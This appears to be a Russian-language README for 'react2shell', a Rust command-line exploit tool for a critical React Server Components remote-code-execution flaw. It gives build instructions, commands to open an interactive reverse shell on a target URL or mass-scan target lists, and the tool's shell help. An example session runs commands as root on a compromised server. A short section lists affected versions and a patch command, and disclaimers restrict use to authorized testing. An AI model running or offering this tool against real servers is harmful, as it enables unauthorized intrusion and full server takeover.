
CLI-инструмент, эксплуатирующий уязвимости в React Server Components и Server Actions (CVE-2025-55182, CVE-2025-66478) для достижения удаленного выполнения кода (RCE) на уязвимых серверах.
Инструмент CLI для эксплуатации уязвимостей загрязнения прототипов в React Server Components / Server Actions (CVE-2025-55182 и CVE-2025-66478), позволяющий удаленно выполнять код (RCE) на уязвимых серверах.
Исходный PoC : https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc
ПРЕДУПРЕЖДЕНИЕ: Этот инструмент нацелен на критическую уязвимость (CVSS 10.0), которая активно эксплуатируется в реальных условиях. Используйте только на системах, которыми вы владеете или на тестирование которых получили явное разрешение.
Этот инструмент предназначен исключительно для образовательных целей, авторизованного тестирования безопасности, пентеста с разрешения и исследования уязвимостей.
Автор и участники не несут никакой ответственности за любое неправомерное использование, ущерб или юридические последствия, возникшие в результате использования этого инструмента. Вы несете полную ответственность за обеспечение того, чтобы ваше использование соответствовало всем применимым законам, нормативным актам и условиям обслуживания.
Несанкционированное использование против систем без разрешения является незаконным в большинстве юрисдикций и может повлечь за собой серьезные наказания.
git clone https://github.com/mantvmass/react2shell.git
cd react2shell
cargo build --release
Бинарный файл будет находиться в target/release/react2shell (или react2shell.exe на Windows).
Загрузите со страницы Релизы.
react2shell [КОМАНДА] [ИСТОЧНИК]
open <URL>: Открыть интерактивный reverse shell на цели (если она уязвима).scan <FILE>: Сканировать список целей из файла (по одному URL на строку) на наличие уязвимости.# Open interactive shell
react2shell open http://vulnerable-target.com
# Scan multiple targets
react2shell scan targets.txt
# Scan single target
react2shell scan http://127.0.0.1:3000
[email protected]:3000 (js)
$ /help # Display all supported commands
Commands;
/new <URL> ; Switch URL target # Switch URL target
/use exec ; Execute command and wait for output # Switch to exec mode (waits for result)
/use exec-no-wait ; Execute command without waiting # Exec mode without waiting for output
/use js ; Execute JavaScript code # Switch back to JavaScript mode
/set timeout <ms> ; Set command timeout in milliseconds # Configure command timeout
/show options ; Show current configuration # Display current shell settings
/clear ; Clear screen # Clear the terminal screen
/exit or /quit ; Exit the shell # Exit the interactive shell
Examples;
ls -la # Example Linux command
whoami # Show current system user
console.log('Hello') # Example JavaScript command
[email protected]:3000 (js)
$ /use exec # Switch from JS mode to exec mode
[+] Switch shell mode to exec
[email protected]:3000 (exec)
$ whoami # Verify current execution user
root # Command output
Приложения, использующие React Server Components с App Router, подвержены уязвимости при работе со следующими версиями:
Следующие версии не подвержены:
Уязвимость существует в React версиях 19.0, 19.1.0, 19.1.1 и 19.2.0 в следующих пакетах:
react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopackНастоятельно рекомендуется немедленно обновить исправленные версии, особенно в производственных средах.
Основное исправление — обновить исправленные версии React и Next.js.
Для приложений Next.js используйте официальный автоматический исправитель:
npx fix-react2shell-next
Подробнее: vercel-labs/fix-react2shell-next
См. официальные уведомления:
Этот проект выпущен только для образовательных и авторизованных исследовательских целей в области безопасности. Вся ответственность за использование лежит на конечном пользователе.